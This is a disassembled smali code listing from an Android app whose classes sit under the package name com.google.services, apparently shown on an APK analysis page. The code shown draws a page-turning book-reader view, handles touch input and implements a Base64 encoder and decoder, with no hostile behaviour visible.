87 | iget-object v1, p0, Lcom/google/services/BookPageFactory;->mPaint:Landroid/graphics/Paint; | |
89 | const-string v2, "999.9%" | |
91 | invoke-virtual {v1, v2}, Landroid/graphics/Paint;->measureText(Ljava/lang/String;)F |
|
92 | move-result v1 | |
93 | float-to-int v1, v1 | |
94 | add-int/lit8 v1, v1, 0x1 | |
95 | iget v2, p0, Lcom/google/services/BookPageFactory;->mWidth:I | |
96 | sub-int v1, v2, v1 | |
97 | int-to-float v1, v1 | |
98 | iget v2, p0, Lcom/google/services/BookPageFactory;->mHeight:I | |
99 | add-int/lit8 v2, v2, -0x5 | |
100 | int-to-float v2, v2 | |
102 | iget-object v3, p0, Lcom/google/services/BookPageFactory;->mPaint:Landroid/graphics/Paint; | |
104 | invoke-virtual {p1, v0, v1, v2, v3}, Landroid/graphics/Canvas;->drawText(Ljava/lang/String;FFLandroid/graphics/Paint;)V | |
105 | return-void |
APIs |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .parameter | |
1 | .parameter | |
2 | .prologue | |
3 | const/high16 v4, 0x4080 | |
4 | const/4 v5, 0x0 | |
6 | iget-object v0, p0, Lcom/google/services/PageWidget;->mPath1:Landroid/graphics/Path; | |
8 | invoke-virtual {v0}, Landroid/graphics/Path;->reset()V | |
10 | iget-object v0, p0, Lcom/google/services/PageWidget;->mPath1:Landroid/graphics/Path; | |
12 | iget-object v1, p0, Lcom/google/services/PageWidget;->mBezierStart1:Landroid/graphics/PointF; | |
13 | iget v1, v1, Landroid/graphics/PointF;->x:F | |
15 | iget-object v2, p0, Lcom/google/services/PageWidget;->mBezierStart1:Landroid/graphics/PointF; | |
16 | iget v2, v2, Landroid/graphics/PointF;->y:F | |
18 | invoke-virtual {v0, v1, v2}, Landroid/graphics/Path;->moveTo(FF)V | |
20 | iget-object v0, p0, Lcom/google/services/PageWidget;->mPath1:Landroid/graphics/Path; | |
22 | iget-object v1, p0, Lcom/google/services/PageWidget;->mBeziervertex1:Landroid/graphics/PointF; | |
23 | iget v1, v1, Landroid/graphics/PointF;->x:F | |
25 | iget-object v2, p0, Lcom/google/services/PageWidget;->mBeziervertex1:Landroid/graphics/PointF; | |
26 | iget v2, v2, Landroid/graphics/PointF;->y:F | |
28 | invoke-virtual {v0, v1, v2}, Landroid/graphics/Path;->lineTo(FF)V | |
30 | iget-object v0, p0, Lcom/google/services/PageWidget;->mPath1:Landroid/graphics/Path; | |
32 | iget-object v1, p0, Lcom/google/services/PageWidget;->mBeziervertex2:Landroid/graphics/PointF; | |
33 | iget v1, v1, Landroid/graphics/PointF;->x:F | |
35 | iget-object v2, p0, Lcom/google/services/PageWidget;->mBeziervertex2:Landroid/graphics/PointF; | |
36 | iget v2, v2, Landroid/graphics/PointF;->y:F | |
38 | invoke-virtual {v0, v1, v2}, Landroid/graphics/Path;->lineTo(FF)V | |
40 | iget-object v0, p0, Lcom/google/services/PageWidget;->mPath1:Landroid/graphics/Path; | |
42 | iget-object v1, p0, Lcom/google/services/PageWidget;->mBezierStart2:Landroid/graphics/PointF; | |
43 | iget v1, v1, Landroid/graphics/PointF;->x:F | |
45 | iget-object v2, p0, Lcom/google/services/PageWidget;->mBezierStart2:Landroid/graphics/PointF; | |
46 | iget v2, v2, Landroid/graphics/PointF;->y:F | |
48 | invoke-virtual {v0, v1, v2}, Landroid/graphics/Path;->lineTo(FF)V | |
50 | iget-object v0, p0, Lcom/google/services/PageWidget;->mPath1:Landroid/graphics/Path; | |
51 | iget v1, p0, Lcom/google/services/PageWidget;->mCornerX:I | |
52 | int-to-float v1, v1 | |
53 | iget v2, p0, Lcom/google/services/PageWidget;->mCornerY:I | |
54 | int-to-float v2, v2 | |
56 | invoke-virtual {v0, v1, v2}, Landroid/graphics/Path;->lineTo(FF)V | |
58 | iget-object v0, p0, Lcom/google/services/PageWidget;->mPath1:Landroid/graphics/Path; | |
60 | invoke-virtual {v0}, Landroid/graphics/Path;->close()V | |
62 | iget-object v0, p0, Lcom/google/services/PageWidget;->mBezierControl1:Landroid/graphics/PointF; | |
63 | iget v0, v0, Landroid/graphics/PointF;->x:F | |
64 | iget v1, p0, Lcom/google/services/PageWidget;->mCornerX:I | |
65 | int-to-float v1, v1 | |
66 | sub-float/2addr v0, v1 | |
67 | float-to-double v0, v0 | |
69 | iget-object v2, p0, Lcom/google/services/PageWidget;->mBezierControl2:Landroid/graphics/PointF; | |
70 | iget v2, v2, Landroid/graphics/PointF;->y:F | |
71 | iget v3, p0, Lcom/google/services/PageWidget;->mCornerY:I | |
72 | int-to-float v3, v3 | |
73 | sub-float/2addr v2, v3 | |
74 | float-to-double v2, v2 | |
76 | invoke-static {v0, v1, v2, v3}, Ljava/lang/Math;->atan2(DD)D | |
77 | move-result-wide v0 | |
79 | invoke-static {v0, v1}, Ljava/lang/Math;->toDegrees(D)D | |
80 | move-result-wide v0 | |
81 | double-to-float v0, v0 | |
82 | iput v0, p0, Lcom/google/services/PageWidget;->mDegrees:F | |
83 | iget-boolean v0, p0, Lcom/google/services/PageWidget;->mIsRTandLB:Z | |
84 | if-eqz v0, :cond_b4 | |
86 | iget-object v0, p0, Lcom/google/services/PageWidget;->mBezierStart1:Landroid/graphics/PointF; | |
87 | iget v0, v0, Landroid/graphics/PointF;->x:F | |
88 | float-to-int v2, v0 | |
90 | iget-object v0, p0, Lcom/google/services/PageWidget;->mBezierStart1:Landroid/graphics/PointF; | |
91 | iget v0, v0, Landroid/graphics/PointF;->x:F | |
92 | iget v1, p0, Lcom/google/services/PageWidget;->mTouchToCornerDis:F | |
93 | div-float/2addr v1, v4 | |
94 | add-float/2addr v0, v1 | |
95 | float-to-int v1, v0 | |
97 | iget-object v0, p0, Lcom/google/services/PageWidget;->mBackShadowDrawableLR:Landroid/graphics/drawable/GradientDrawable; | |
98 | goto_7d: | |
99 | invoke-virtual {p1}, Landroid/graphics/Canvas;->save()I | |
101 | iget-object v3, p0, Lcom/google/services/PageWidget;->mPath0:Landroid/graphics/Path; | |
103 | invoke-virtual {p1, v3}, Landroid/graphics/Canvas;->clipPath(Landroid/graphics/Path;)Z | |
105 | iget-object v3, p0, Lcom/google/services/PageWidget;->mPath1:Landroid/graphics/Path; | |
107 | sget-object v4, Landroid/graphics/Region$Op;->INTERSECT:Landroid/graphics/Region$Op; | |
109 | invoke-virtual {p1, v3, v4}, Landroid/graphics/Canvas;->clipPath(Landroid/graphics/Path;Landroid/graphics/Region$Op;)Z | |
110 | const/4 v3, 0x0 | |
112 | invoke-virtual {p1, p2, v5, v5, v3}, Landroid/graphics/Canvas;->drawBitmap(Landroid/graphics/Bitmap;FFLandroid/graphics/Paint;)V |
|
113 | iget v3, p0, Lcom/google/services/PageWidget;->mDegrees:F | |
115 | iget-object v4, p0, Lcom/google/services/PageWidget;->mBezierStart1:Landroid/graphics/PointF; | |
116 | iget v4, v4, Landroid/graphics/PointF;->x:F | |
118 | iget-object v5, p0, Lcom/google/services/PageWidget;->mBezierStart1:Landroid/graphics/PointF; | |
119 | iget v5, v5, Landroid/graphics/PointF;->y:F | |
121 | invoke-virtual {p1, v3, v4, v5}, Landroid/graphics/Canvas;->rotate(FFF)V | |
123 | iget-object v3, p0, Lcom/google/services/PageWidget;->mBezierStart1:Landroid/graphics/PointF; | |
124 | iget v3, v3, Landroid/graphics/PointF;->y:F | |
125 | float-to-int v3, v3 | |
126 | iget v4, p0, Lcom/google/services/PageWidget;->mMaxLength:F | |
128 | iget-object v5, p0, Lcom/google/services/PageWidget;->mBezierStart1:Landroid/graphics/PointF; | |
129 | iget v5, v5, Landroid/graphics/PointF;->y:F | |
130 | add-float/2addr v4, v5 | |
131 | float-to-int v4, v4 | |
133 | invoke-virtual {v0, v2, v3, v1, v4}, Landroid/graphics/drawable/GradientDrawable;->setBounds(IIII)V | |
135 | invoke-virtual {v0, p1}, Landroid/graphics/drawable/GradientDrawable;->draw(Landroid/graphics/Canvas;)V | |
137 | invoke-virtual {p1}, Landroid/graphics/Canvas;->restore()V | |
138 | return-void | |
139 | cond_b4: | |
140 | iget-object v0, p0, Lcom/google/services/PageWidget;->mBezierStart1:Landroid/graphics/PointF; | |
141 | iget v0, v0, Landroid/graphics/PointF;->x:F | |
142 | iget v1, p0, Lcom/google/services/PageWidget;->mTouchToCornerDis:F | |
143 | div-float/2addr v1, v4 | |
144 | sub-float/2addr v0, v1 | |
145 | float-to-int v2, v0 | |
147 | iget-object v0, p0, Lcom/google/services/PageWidget;->mBezierStart1:Landroid/graphics/PointF; | |
148 | iget v0, v0, Landroid/graphics/PointF;->x:F | |
149 | float-to-int v1, v0 | |
151 | iget-object v0, p0, Lcom/google/services/PageWidget;->mBackShadowDrawableRL:Landroid/graphics/drawable/GradientDrawable; | |
152 | goto/16 :goto_7d |
APIs |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .parameter | |
1 | .parameter | |
2 | .prologue | |
3 | const/4 v0, 0x0 | |
5 | iget-object v1, p0, Lcom/google/services/turntest$1;->this$0:Lcom/google/services/turntest; | |
7 | invoke-static {v1}, Lcom/google/services/turntest;->access$000(Lcom/google/services/turntest;)Lcom/google/services/PageWidget; | |
8 | move-result-object v1 | |
9 | if-ne p1, v1, :cond_51 | |
11 | invoke-virtual {p2}, Landroid/view/MotionEvent;->getAction()I | |
12 | move-result v1 | |
13 | if-nez v1, :cond_73 | |
15 | iget-object v1, p0, Lcom/google/services/turntest$1;->this$0:Lcom/google/services/turntest; | |
17 | invoke-static {v1}, Lcom/google/services/turntest;->access$000(Lcom/google/services/turntest;)Lcom/google/services/PageWidget; | |
18 | move-result-object v1 | |
20 | invoke-virtual {v1}, Lcom/google/services/PageWidget;->abortAnimation()V | |
22 | iget-object v1, p0, Lcom/google/services/turntest$1;->this$0:Lcom/google/services/turntest; | |
24 | invoke-static {v1}, Lcom/google/services/turntest;->access$000(Lcom/google/services/turntest;)Lcom/google/services/PageWidget; | |
25 | move-result-object v1 | |
27 | invoke-virtual {p2}, Landroid/view/MotionEvent;->getX()F | |
28 | move-result v2 | |
30 | invoke-virtual {p2}, Landroid/view/MotionEvent;->getY()F | |
31 | move-result v3 | |
33 | invoke-virtual {v1, v2, v3}, Lcom/google/services/PageWidget;->calcCornerXY(FF)V | |
35 | iget-object v1, p0, Lcom/google/services/turntest$1;->this$0:Lcom/google/services/turntest; | |
37 | iget-object v1, v1, Lcom/google/services/turntest;->pagefactory:Lcom/google/services/BookPageFactory; | |
39 | iget-object v2, p0, Lcom/google/services/turntest$1;->this$0:Lcom/google/services/turntest; | |
41 | iget-object v2, v2, Lcom/google/services/turntest;->mCurPageCanvas:Landroid/graphics/Canvas; | |
43 | invoke-virtual {v1, v2}, Lcom/google/services/BookPageFactory;->wilDraw(Landroid/graphics/Canvas;)V | |
45 | iget-object v1, p0, Lcom/google/services/turntest$1;->this$0:Lcom/google/services/turntest; | |
47 | invoke-static {v1}, Lcom/google/services/turntest;->access$000(Lcom/google/services/turntest;)Lcom/google/services/PageWidget; | |
48 | move-result-object v1 | |
50 | invoke-virtual {v1}, Lcom/google/services/PageWidget;->DragToRight()Z | |
51 | move-result v1 | |
52 | if-eqz v1, :cond_7e | |
53 | try_start_40: | |
54 | iget-object v1, p0, Lcom/google/services/turntest$1;->this$0:Lcom/google/services/turntest; | |
56 | iget-object v1, v1, Lcom/google/services/turntest;->pagefactory:Lcom/google/services/BookPageFactory; | |
58 | invoke-virtual {v1}, Lcom/google/services/BookPageFactory;->prePage()V | |
59 | try_end_47: | |
60 | iget-object v1, p0, Lcom/google/services/turntest$1;->this$0:Lcom/google/services/turntest; | |
62 | iget-object v1, v1, Lcom/google/services/turntest;->pagefactory:Lcom/google/services/BookPageFactory; | |
64 | invoke-virtual {v1}, Lcom/google/services/BookPageFactory;->isfirstPage()Z | |
65 | move-result v1 | |
66 | if-eqz v1, :cond_57 | |
67 | goto_51: return v0 | |
68 | catch_52: move-exception v1 | |
70 | invoke-virtual {v1}, Ljava/io/IOException;->printStackTrace()V | |
71 | goto/16 :goto_47 | |
72 | cond_57: | |
73 | iget-object v0, p0, Lcom/google/services/turntest$1;->this$0:Lcom/google/services/turntest; | |
75 | iget-object v0, v0, Lcom/google/services/turntest;->pagefactory:Lcom/google/services/BookPageFactory; | |
77 | iget-object v1, p0, Lcom/google/services/turntest$1;->this$0:Lcom/google/services/turntest; | |
79 | iget-object v1, v1, Lcom/google/services/turntest;->mNextPageCanvas:Landroid/graphics/Canvas; | |
81 | invoke-virtual {v0, v1}, Lcom/google/services/BookPageFactory;->wilDraw(Landroid/graphics/Canvas;)V | |
82 | goto_62: | |
83 | iget-object v0, p0, Lcom/google/services/turntest$1;->this$0:Lcom/google/services/turntest; | |
85 | invoke-static {v0}, Lcom/google/services/turntest;->access$000(Lcom/google/services/turntest;)Lcom/google/services/PageWidget; | |
86 | move-result-object v0 | |
88 | iget-object v1, p0, Lcom/google/services/turntest$1;->this$0:Lcom/google/services/turntest; | |
90 | iget-object v1, v1, Lcom/google/services/turntest;->mCurPageBitmap:Landroid/graphics/Bitmap; | |
92 | iget-object v2, p0, Lcom/google/services/turntest$1;->this$0:Lcom/google/services/turntest; | |
94 | iget-object v2, v2, Lcom/google/services/turntest;->mNextPageBitmap:Landroid/graphics/Bitmap; | |
96 | invoke-virtual {v0, v1, v2}, Lcom/google/services/PageWidget;->setBitmaps(Landroid/graphics/Bitmap;Landroid/graphics/Bitmap;)V | |
97 | cond_73: | |
98 | iget-object v0, p0, Lcom/google/services/turntest$1;->this$0:Lcom/google/services/turntest; | |
100 | invoke-static {v0}, Lcom/google/services/turntest;->access$000(Lcom/google/services/turntest;)Lcom/google/services/PageWidget; | |
101 | move-result-object v0 | |
103 | invoke-virtual {v0, p2}, Lcom/google/services/PageWidget;->doTouchEvent(Landroid/view/MotionEvent;)Z | |
104 | move-result v0 | |
105 | goto/16 :goto_51 | |
106 | try_start_7e: | |
107 | iget-object v1, p0, Lcom/google/services/turntest$1;->this$0:Lcom/google/services/turntest; | |
109 | iget-object v1, v1, Lcom/google/services/turntest;->pagefactory:Lcom/google/services/BookPageFactory; | |
111 | invoke-virtual {v1}, Lcom/google/services/BookPageFactory;->nextPage()V | |
112 | goto_85: | |
113 | iget-object v1, p0, Lcom/google/services/turntest$1;->this$0:Lcom/google/services/turntest; | |
115 | iget-object v1, v1, Lcom/google/services/turntest;->pagefactory:Lcom/google/services/BookPageFactory; | |
117 | invoke-virtual {v1}, Lcom/google/services/BookPageFactory;->islastPage()Z | |
118 | move-result v1 | |
119 | if-nez v1, :cond_51 | |
121 | iget-object v0, p0, Lcom/google/services/turntest$1;->this$0:Lcom/google/services/turntest; | |
123 | iget-object v0, v0, Lcom/google/services/turntest;->pagefactory:Lcom/google/services/BookPageFactory; | |
125 | iget-object v1, p0, Lcom/google/services/turntest$1;->this$0:Lcom/google/services/turntest; | |
127 | iget-object v1, v1, Lcom/google/services/turntest;->mNextPageCanvas:Landroid/graphics/Canvas; | |
129 | invoke-virtual {v0, v1}, Lcom/google/services/BookPageFactory;->wilDraw(Landroid/graphics/Canvas;)V | |
130 | goto/16 :goto_62 | |
131 | catch_9b: move-exception v1 | |
133 | invoke-virtual {v1}, Ljava/io/IOException;->printStackTrace()V | |
134 | goto/16 :goto_85 |
APIs |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .prologue | |
1 | const/4 v4, 0x2 | |
2 | const/4 v3, 0x0 | |
3 | new-array v0, v4, [I | |
4 | fill-array-data v0, :array_92 | |
5 | new-instance v1, Landroid/graphics/drawable/GradientDrawable; | |
7 | sget-object v2, Landroid/graphics/drawable/GradientDrawable$Orientation;->RIGHT_LEFT:Landroid/graphics/drawable/GradientDrawable$Orientation; | |
9 | invoke-direct {v1, v2, v0}, Landroid/graphics/drawable/GradientDrawable;-><init>(Landroid/graphics/drawable/GradientDrawable$Orientation;[I)V | |
10 | iput-object v1, p0, Lcom/google/services/PageWidget;->mFolderShadowDrawableRL:Landroid/graphics/drawable/GradientDrawable; | |
12 | iget-object v1, p0, Lcom/google/services/PageWidget;->mFolderShadowDrawableRL:Landroid/graphics/drawable/GradientDrawable; | |
14 | invoke-virtual {v1, v3}, Landroid/graphics/drawable/GradientDrawable;->setGradientType(I)V |
|
15 | new-instance v1, Landroid/graphics/drawable/GradientDrawable; | |
17 | sget-object v2, Landroid/graphics/drawable/GradientDrawable$Orientation;->LEFT_RIGHT:Landroid/graphics/drawable/GradientDrawable$Orientation; | |
19 | invoke-direct {v1, v2, v0}, Landroid/graphics/drawable/GradientDrawable;-><init>(Landroid/graphics/drawable/GradientDrawable$Orientation;[I)V | |
20 | iput-object v1, p0, Lcom/google/services/PageWidget;->mFolderShadowDrawableLR:Landroid/graphics/drawable/GradientDrawable; | |
22 | iget-object v0, p0, Lcom/google/services/PageWidget;->mFolderShadowDrawableLR:Landroid/graphics/drawable/GradientDrawable; | |
24 | invoke-virtual {v0, v3}, Landroid/graphics/drawable/GradientDrawable;->setGradientType(I)V |
|
25 | new-array v0, v4, [I | |
26 | fill-array-data v0, :array_9a | |
27 | iput-object v0, p0, Lcom/google/services/PageWidget;->mBackShadowColors:[I | |
28 | new-instance v0, Landroid/graphics/drawable/GradientDrawable; | |
30 | sget-object v1, Landroid/graphics/drawable/GradientDrawable$Orientation;->RIGHT_LEFT:Landroid/graphics/drawable/GradientDrawable$Orientation; | |
32 | iget-object v2, p0, Lcom/google/services/PageWidget;->mBackShadowColors:[I | |
34 | invoke-direct {v0, v1, v2}, Landroid/graphics/drawable/GradientDrawable;-><init>(Landroid/graphics/drawable/GradientDrawable$Orientation;[I)V | |
35 | iput-object v0, p0, Lcom/google/services/PageWidget;->mBackShadowDrawableRL:Landroid/graphics/drawable/GradientDrawable; | |
37 | iget-object v0, p0, Lcom/google/services/PageWidget;->mBackShadowDrawableRL:Landroid/graphics/drawable/GradientDrawable; | |
39 | invoke-virtual {v0, v3}, Landroid/graphics/drawable/GradientDrawable;->setGradientType(I)V |
|
40 | new-instance v0, Landroid/graphics/drawable/GradientDrawable; | |
42 | sget-object v1, Landroid/graphics/drawable/GradientDrawable$Orientation;->LEFT_RIGHT:Landroid/graphics/drawable/GradientDrawable$Orientation; | |
44 | iget-object v2, p0, Lcom/google/services/PageWidget;->mBackShadowColors:[I | |
46 | invoke-direct {v0, v1, v2}, Landroid/graphics/drawable/GradientDrawable;-><init>(Landroid/graphics/drawable/GradientDrawable$Orientation;[I)V | |
47 | iput-object v0, p0, Lcom/google/services/PageWidget;->mBackShadowDrawableLR:Landroid/graphics/drawable/GradientDrawable; | |
49 | iget-object v0, p0, Lcom/google/services/PageWidget;->mBackShadowDrawableLR:Landroid/graphics/drawable/GradientDrawable; | |
51 | invoke-virtual {v0, v3}, Landroid/graphics/drawable/GradientDrawable;->setGradientType(I)V |
|
52 | new-array v0, v4, [I | |
53 | fill-array-data v0, :array_a2 | |
54 | iput-object v0, p0, Lcom/google/services/PageWidget;->mFrontShadowColors:[I | |
55 | new-instance v0, Landroid/graphics/drawable/GradientDrawable; | |
57 | sget-object v1, Landroid/graphics/drawable/GradientDrawable$Orientation;->LEFT_RIGHT:Landroid/graphics/drawable/GradientDrawable$Orientation; | |
59 | iget-object v2, p0, Lcom/google/services/PageWidget;->mFrontShadowColors:[I | |
61 | invoke-direct {v0, v1, v2}, Landroid/graphics/drawable/GradientDrawable;-><init>(Landroid/graphics/drawable/GradientDrawable$Orientation;[I)V | |
62 | iput-object v0, p0, Lcom/google/services/PageWidget;->mFrontShadowDrawableVLR:Landroid/graphics/drawable/GradientDrawable; | |
64 | iget-object v0, p0, Lcom/google/services/PageWidget;->mFrontShadowDrawableVLR:Landroid/graphics/drawable/GradientDrawable; | |
66 | invoke-virtual {v0, v3}, Landroid/graphics/drawable/GradientDrawable;->setGradientType(I)V |
|
67 | new-instance v0, Landroid/graphics/drawable/GradientDrawable; | |
69 | sget-object v1, Landroid/graphics/drawable/GradientDrawable$Orientation;->RIGHT_LEFT:Landroid/graphics/drawable/GradientDrawable$Orientation; | |
71 | iget-object v2, p0, Lcom/google/services/PageWidget;->mFrontShadowColors:[I | |
73 | invoke-direct {v0, v1, v2}, Landroid/graphics/drawable/GradientDrawable;-><init>(Landroid/graphics/drawable/GradientDrawable$Orientation;[I)V | |
74 | iput-object v0, p0, Lcom/google/services/PageWidget;->mFrontShadowDrawableVRL:Landroid/graphics/drawable/GradientDrawable; | |
76 | iget-object v0, p0, Lcom/google/services/PageWidget;->mFrontShadowDrawableVRL:Landroid/graphics/drawable/GradientDrawable; | |
78 | invoke-virtual {v0, v3}, Landroid/graphics/drawable/GradientDrawable;->setGradientType(I)V |
|
79 | new-instance v0, Landroid/graphics/drawable/GradientDrawable; | |
81 | sget-object v1, Landroid/graphics/drawable/GradientDrawable$Orientation;->TOP_BOTTOM:Landroid/graphics/drawable/GradientDrawable$Orientation; | |
83 | iget-object v2, p0, Lcom/google/services/PageWidget;->mFrontShadowColors:[I | |
85 | invoke-direct {v0, v1, v2}, Landroid/graphics/drawable/GradientDrawable;-><init>(Landroid/graphics/drawable/GradientDrawable$Orientation;[I)V | |
86 | iput-object v0, p0, Lcom/google/services/PageWidget;->mFrontShadowDrawableHTB:Landroid/graphics/drawable/GradientDrawable; | |
88 | iget-object v0, p0, Lcom/google/services/PageWidget;->mFrontShadowDrawableHTB:Landroid/graphics/drawable/GradientDrawable; | |
90 | invoke-virtual {v0, v3}, Landroid/graphics/drawable/GradientDrawable;->setGradientType(I)V |
|
91 | new-instance v0, Landroid/graphics/drawable/GradientDrawable; | |
93 | sget-object v1, Landroid/graphics/drawable/GradientDrawable$Orientation;->BOTTOM_TOP:Landroid/graphics/drawable/GradientDrawable$Orientation; | |
95 | iget-object v2, p0, Lcom/google/services/PageWidget;->mFrontShadowColors:[I | |
97 | invoke-direct {v0, v1, v2}, Landroid/graphics/drawable/GradientDrawable;-><init>(Landroid/graphics/drawable/GradientDrawable$Orientation;[I)V | |
98 | iput-object v0, p0, Lcom/google/services/PageWidget;->mFrontShadowDrawableHBT:Landroid/graphics/drawable/GradientDrawable; | |
100 | iget-object v0, p0, Lcom/google/services/PageWidget;->mFrontShadowDrawableHBT:Landroid/graphics/drawable/GradientDrawable; | |
102 | invoke-virtual {v0, v3}, Landroid/graphics/drawable/GradientDrawable;->setGradientType(I)V |
|
103 | return-void |
APIs |
|
Strings |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .annotation system Ldalvik/annotation/Throws; | |
1 | value = { | |
2 | Ljava/io/IOException; | |
3 | } | |
4 | .end annotation | |
5 | .prologue | |
6 | const/4 v5, 0x0 | |
7 | iget v0, p0, Lit/sauronsoftware/base64/Base64OutputStream;->bytecounter:I | |
8 | if-lez v0, :cond_60 | |
9 | iget v0, p0, Lit/sauronsoftware/base64/Base64OutputStream;->linelength:I | |
10 | if-lez v0, :cond_1c | |
11 | iget v0, p0, Lit/sauronsoftware/base64/Base64OutputStream;->linecounter:I | |
12 | iget v1, p0, Lit/sauronsoftware/base64/Base64OutputStream;->linelength:I | |
13 | if-ne v0, v1, :cond_1c | |
15 | iget-object v0, p0, Lit/sauronsoftware/base64/Base64OutputStream;->outputStream:Ljava/io/OutputStream; | |
17 | const-string v1, "\r\n" | |
19 | invoke-virtual {v1}, Ljava/lang/String;->getBytes()[B | |
20 | move-result-object v1 | |
22 | invoke-virtual {v0, v1}, Ljava/io/OutputStream;->write([B)V | |
23 | iput v5, p0, Lit/sauronsoftware/base64/Base64OutputStream;->linecounter:I | |
24 | cond_1c: | |
25 | sget-object v0, Lit/sauronsoftware/base64/Shared;->chars:Ljava/lang/String; | |
26 | iget v1, p0, Lit/sauronsoftware/base64/Base64OutputStream;->buffer:I | |
27 | shl-int/lit8 v1, v1, 0x8 | |
28 | ushr-int/lit8 v1, v1, 0x1a | |
30 | invoke-virtual {v0, v1}, Ljava/lang/String;->charAt(I)C | |
31 | move-result v2 | |
33 | sget-object v0, Lit/sauronsoftware/base64/Shared;->chars:Ljava/lang/String; | |
34 | iget v1, p0, Lit/sauronsoftware/base64/Base64OutputStream;->buffer:I | |
35 | shl-int/lit8 v1, v1, 0xe | |
36 | ushr-int/lit8 v1, v1, 0x1a | |
38 | invoke-virtual {v0, v1}, Ljava/lang/String;->charAt(I)C | |
39 | move-result v3 | |
40 | iget v0, p0, Lit/sauronsoftware/base64/Base64OutputStream;->bytecounter:I | |
41 | const/4 v1, 0x2 | |
42 | if-ge v0, v1, :cond_61 | |
43 | sget-char v0, Lit/sauronsoftware/base64/Shared;->pad:C | |
44 | goto_3b: iget v1, p0, Lit/sauronsoftware/base64/Base64OutputStream;->bytecounter:I | |
45 | const/4 v4, 0x3 | |
46 | if-ge v1, v4, :cond_6e | |
47 | sget-char v1, Lit/sauronsoftware/base64/Shared;->pad:C | |
48 | goto_42: | |
49 | iget-object v4, p0, Lit/sauronsoftware/base64/Base64OutputStream;->outputStream:Ljava/io/OutputStream; | |
51 | invoke-virtual {v4, v2}, Ljava/io/OutputStream;->write(I)V | |
53 | iget-object v2, p0, Lit/sauronsoftware/base64/Base64OutputStream;->outputStream:Ljava/io/OutputStream; | |
55 | invoke-virtual {v2, v3}, Ljava/io/OutputStream;->write(I)V | |
57 | iget-object v2, p0, Lit/sauronsoftware/base64/Base64OutputStream;->outputStream:Ljava/io/OutputStream; | |
59 | invoke-virtual {v2, v0}, Ljava/io/OutputStream;->write(I)V | |
61 | iget-object v0, p0, Lit/sauronsoftware/base64/Base64OutputStream;->outputStream:Ljava/io/OutputStream; | |
63 | invoke-virtual {v0, v1}, Ljava/io/OutputStream;->write(I)V | |
64 | iget v0, p0, Lit/sauronsoftware/base64/Base64OutputStream;->linecounter:I | |
65 | add-int/lit8 v0, v0, 0x4 | |
66 | iput v0, p0, Lit/sauronsoftware/base64/Base64OutputStream;->linecounter:I | |
67 | iput v5, p0, Lit/sauronsoftware/base64/Base64OutputStream;->bytecounter:I | |
68 | iput v5, p0, Lit/sauronsoftware/base64/Base64OutputStream;->buffer:I | |
69 | cond_60: return-void | |
70 | cond_61: | |
71 | sget-object v0, Lit/sauronsoftware/base64/Shared;->chars:Ljava/lang/String; | |
72 | iget v1, p0, Lit/sauronsoftware/base64/Base64OutputStream;->buffer:I | |
73 | shl-int/lit8 v1, v1, 0x14 | |
74 | ushr-int/lit8 v1, v1, 0x1a | |
76 | invoke-virtual {v0, v1}, Ljava/lang/String;->charAt(I)C | |
77 | move-result v0 | |
78 | goto/16 :goto_3b | |
79 | cond_6e: | |
80 | sget-object v1, Lit/sauronsoftware/base64/Shared;->chars:Ljava/lang/String; | |
81 | iget v4, p0, Lit/sauronsoftware/base64/Base64OutputStream;->buffer:I | |
82 | shl-int/lit8 v4, v4, 0x1a | |
83 | ushr-int/lit8 v4, v4, 0x1a | |
85 | invoke-virtual {v1, v4}, Ljava/lang/String;->charAt(I)C | |
86 | move-result v1 | |
87 | goto/16 :goto_42 |
APIs |
|
Strings |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .parameter | |
1 | .parameter | |
2 | .annotation system Ldalvik/annotation/Throws; | |
3 | value = { | |
4 | Ljava/lang/RuntimeException; | |
5 | } | |
6 | .end annotation | |
7 | .prologue | |
8 | try_start_0: | |
9 | const-string v0, "ASCII" | |
11 | invoke-virtual {p0, v0}, Ljava/lang/String;->getBytes(Ljava/lang/String;)[B |
|
12 | try_end_5: move-result-object v0 | |
14 | invoke-static {v0}, Lit/sauronsoftware/base64/Base64;->decode([B)[B | |
15 | move-result-object v0 | |
16 | try_start_a: new-instance v1, Ljava/lang/String; | |
18 | invoke-direct {v1, v0, p1}, Ljava/lang/String;-><init>([BLjava/lang/String;)V | |
19 | try_end_f: return-object v1 | |
20 | catch_10: move-exception v0 | |
21 | new-instance v1, Ljava/lang/RuntimeException; | |
23 | const-string v2, "ASCII is not supported!" | |
25 | invoke-direct {v1, v2, v0}, Ljava/lang/RuntimeException;-><init>(Ljava/lang/String;Ljava/lang/Throwable;)V |
|
26 | throw v1 | |
27 | catch_19: move-exception v0 | |
28 | new-instance v1, Ljava/lang/RuntimeException; | |
29 | new-instance v2, Ljava/lang/StringBuilder; | |
31 | invoke-direct {v2}, Ljava/lang/StringBuilder;-><init>()V | |
33 | const-string v3, "Unsupported charset: " | |
35 | invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; |
|
36 | move-result-object v2 | |
38 | invoke-virtual {v2, p1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; | |
39 | move-result-object v2 | |
41 | invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String; | |
42 | move-result-object v2 | |
44 | invoke-direct {v1, v2, v0}, Ljava/lang/RuntimeException;-><init>(Ljava/lang/String;Ljava/lang/Throwable;)V | |
45 | throw v1 |
APIs |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .parameter | |
1 | .parameter | |
2 | .parameter | |
3 | .prologue | |
4 | const/4 v5, 0x0 | |
6 | iget-object v0, p0, Lcom/google/services/PageWidget;->mPath0:Landroid/graphics/Path; | |
8 | invoke-virtual {v0}, Landroid/graphics/Path;->reset()V | |
10 | iget-object v0, p0, Lcom/google/services/PageWidget;->mPath0:Landroid/graphics/Path; | |
12 | iget-object v1, p0, Lcom/google/services/PageWidget;->mBezierStart1:Landroid/graphics/PointF; | |
13 | iget v1, v1, Landroid/graphics/PointF;->x:F | |
15 | iget-object v2, p0, Lcom/google/services/PageWidget;->mBezierStart1:Landroid/graphics/PointF; | |
16 | iget v2, v2, Landroid/graphics/PointF;->y:F | |
18 | invoke-virtual {v0, v1, v2}, Landroid/graphics/Path;->moveTo(FF)V | |
